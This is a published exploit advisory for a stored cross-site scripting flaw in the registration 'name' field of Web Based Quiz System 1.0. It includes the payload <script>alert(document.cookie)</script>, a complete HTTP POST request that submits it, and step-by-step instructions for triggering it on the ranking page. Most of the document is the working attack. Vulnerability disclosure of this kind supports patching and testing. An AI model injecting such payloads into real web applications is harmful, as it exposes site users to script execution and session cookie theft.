Web Based Quiz System 1.0 Cross Site Scripting

`# Exploit Title: Web Based Quiz System 1.0 - 'name' Persistent/Stored Cross-Site Scripting  
# Date: 2021-03-02  
# Exploit Author: P.Naveen Kumar  
# Vendor Homepage: https://www.sourcecodester.com  
# Software Download Link : https://www.sourcecodester.com/php/14727/web-based-quiz-system-phpmysqli-full-source-code.html  
# Software : Web Based Quiz System  
# Version : 1.0  
# Vulnerability Type : Cross-site Scripting  
# Vulnerability : Persistent/Stored XSS  
# Tested on: Windows 10 Pro  
  
# Stored/persistent XSS has been discovered in the Web Based Quiz System created by sourcecodester/janobe  
# in registration form in name parameter affected from this vulnerability.  
# payload: <script>alert(document.cookie)</script>  
  
# HTTP POST request  
POST http://localhost:8080/quiz/register.php HTTP/1.1  
Host: localhost:8080  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------283640616528311462411171270636  
Content-Length: 690  
Origin: http://localhost:8080  
Connection: keep-alive  
Referer: http://localhost:8080/quiz/register.php  
Cookie: PHPSESSID=ptujqhbkupjsqjkqs7tjhnb5er  
Upgrade-Insecure-Requests: 1  
  
-----------------------------283640616528311462411171270636  
Content-Disposition: form-data; name="name"  
  
<script>alert(document.cookie)</script>  
-----------------------------283640616528311462411171270636  
Content-Disposition: form-data; name="email"  
  
[email protected]  
-----------------------------283640616528311462411171270636  
Content-Disposition: form-data; name="password"  
  
Hacker  
-----------------------------283640616528311462411171270636  
Content-Disposition: form-data; name="college"  
  
hello  
-----------------------------283640616528311462411171270636  
Content-Disposition: form-data; name="submit"  
  
  
-----------------------------283640616528311462411171270636--  
  
POC:  
# go to url http://localhost:8080/quiz/register.php  
# then you have to fill the above payload in name/username parameter  
# then fill the remaining details  
# then click submit  
# then login to user account  
# then attempt any one quiz after attempting go to ranking section then  
# you can see xss pop up there..!  
`